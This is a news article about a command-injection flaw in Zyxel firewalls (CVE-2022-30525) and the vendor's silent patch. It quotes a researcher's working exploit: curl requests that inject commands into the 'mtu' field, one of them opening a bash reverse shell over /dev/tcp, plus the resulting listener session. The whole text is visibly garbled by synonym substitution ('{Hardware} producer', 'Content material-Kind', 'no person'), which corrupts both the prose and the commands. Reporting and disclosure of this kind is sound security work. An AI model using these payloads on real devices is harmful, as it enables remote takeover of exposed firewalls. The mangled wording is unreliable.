Saturday, October 1, 2022

Zyxel silently patches command injection vulnerability with 9.8 severity rating


Zyxel

{Hardware} producer Zyxel quietly launched an replace fixing a crucial vulnerability that provides hackers the power to regulate tens of 1000’s of firewall units remotely.

The vulnerability, which permits distant command injection with no authentication required, carries a severity rating of 9.8 out of a attainable 10. It’s straightforward to take advantage of by sending easy HTTP or HTTPS requests to affected units. The requests permit hackers to ship instructions or open an internet shell interface that allows hackers to take care of privileged entry over time.

Excessive-value, straightforward to weaponize, requires no authentication

The vulnerability impacts a line of firewalls that supply a characteristic generally known as zero-touch provisioning. Zyxel markets the units to be used in small department and company headquarter deployments. The units carry out VPN connectivity, SSL inspection, internet filtering, intrusion safety, and e-mail safety and supply as much as 5Gbps throughput by means of the firewall. The Shodan gadget search service exhibits greater than 16,000 affected units are uncovered to the Web.

The precise units affected are:

Affected Mannequin Affected Firmware Model
USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 through ZLD5.21 Patch 1
USG20-VPN, USG20W-VPN ZLD5.10 through ZLD5.21 Patch 1
ATP 100, 200, 500, 700, 800 ZLD5.10 through ZLD5.21 Patch 1

The vulnerability is tracked as CVE-2022-30525. Rapid7, the safety agency that found it and privately reported it to Zyxel, mentioned that the VPN collection of the units additionally assist ZTP, however they’re not weak as a result of they don’t embody different required performance. In an advisory published Thursday, Rapid7 researcher Jake Baines wrote:

The affected fashions are weak to unauthenticated and distant command injection by way of the executive HTTP interface. Instructions are executed because the no person person. This vulnerability is exploited by means of the /ztp/cgi-bin/handler URI and is the results of passing unsanitized attacker enter into the os.system methodology in lib_wan_settings.py. The weak performance is invoked in affiliation with the setWanPortSt command. An attacker can inject arbitrary instructions into the mtu or the knowledge parameter.

Under are examples of (1) curl that causes the firewall to execute a ping of to IP handle 192.168.1.220, adopted by (2) the powershell output the outcomes, (3) the spawning of a reverse shell and (4) issues a hacker can do with the reverse shell:

    1. curl -v --insecure -X POST -H "Content material-Kind: utility/json" -d
      '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
      :"1","vlanid":"5","mtu":"; ping 192.168.1.220;","knowledge":"hello"}'
      https://192.168.1.1/ztp/cgi-bin/handler
      
    2. no person   11040  0.0  0.2  21040  5152 ?        S    Apr10   0:00  _ /usr/native/apache/bin/httpd -f /usr/native/zyxel-gui/httpd.conf -k swish -DSSL
      no person   16052 56.4  0.6  18104 11224 ?        S    06:16   0:02  |   _ /usr/bin/python /usr/native/zyxel-gui/htdocs/ztp/cgi-bin/handler.py
      no person   16055  0.0  0.0   3568  1492 ?        S    06:16   0:00  |       _ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN3 4 ; ping 192.168.1.220; 5 >/dev/null 2>&1
      no person   16057  0.0  0.0   2152   564 ?        S    06:16   0:00  |           _ ping 192.168.1.220
      
    3. curl -v --insecure -X POST -H "Content material-Kind: utility/json" -d '
      {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":
      "1","vlanid":"5","mtu":"; bash -c "exec bash -i &>/dev/tcp/
      192.168.1.220/1270 <&1;";","knowledge":"hello"}' https://192.168.1.1
      /ztp/cgi-bin/handler
      
    4. albinolobster@ubuntu:~$ nc -lvnp 1270
      Listening on 0.0.0.0 1270
      Connection acquired on 192.168.1.1 37882
      bash: can't set terminal course of group (11037): Inappropriate ioctl for gadget
      bash: no job management on this shell
      bash-5.1$ id
      id
      uid=99(no person) gid=10003(shadowr) teams=99,10003(shadowr)
      bash-5.1$ uname -a
      uname -a
      Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
      Bash-5.1
      

Rapid7 has developed a module for the Metasploit exploit framework here that automates the exploitation course of.

Baines mentioned that Rapid7 notified Zyxel of the vulnerability on April 13 and that the 2 events agreed to supply a coordinated disclosure, together with the repair, on June 21. The researcher went on to say that unbeknownst to Rapid7, the {hardware} producer launched a firmware replace on April 28 that quietly fastened the vulnerability. Zyxel solely obtained the CVE quantity on Tuesday, after Rapid7 requested concerning the silent patch, and printed an advisory on Thursday.

According to AttackerKB, a useful resource on safety vulnerabilities, CVE-2022-30525 is of excessive worth to menace actors as a result of it’s straightforward to weaponize, requires no authentication, and could be exploited within the default setup of weak units. Rapid7 representatives weren’t out there to reply fundamental questions concerning the accuracy of that evaluation.

Directors should manually apply the patch until they’ve modified default settings to permit automated updating. Early indications are that the patch hasn’t been extensively deployed, as a Shodan question for simply one of many weak firewalls, the ATP200, confirmed that solely about 25 p.c of uncovered units had been operating the newest firmware.

Vulnerabilities affecting firewalls could be particularly extreme as a result of they sit on the outer fringe of networks the place incoming and outgoing site visitors flows. Many firewalls also can learn knowledge earlier than it’s encrypted. Directors who oversee networks that use these affected units ought to prioritize investigating their publicity to this vulnerability and patch accordingly.

Related Articles

LEAVE A REPLY

Please enter your comment!
Please enter your name here

Stay Connected

0FansLike
10FollowersFollow
0SubscribersSubscribe
- Advertisement -spot_img

Latest Articles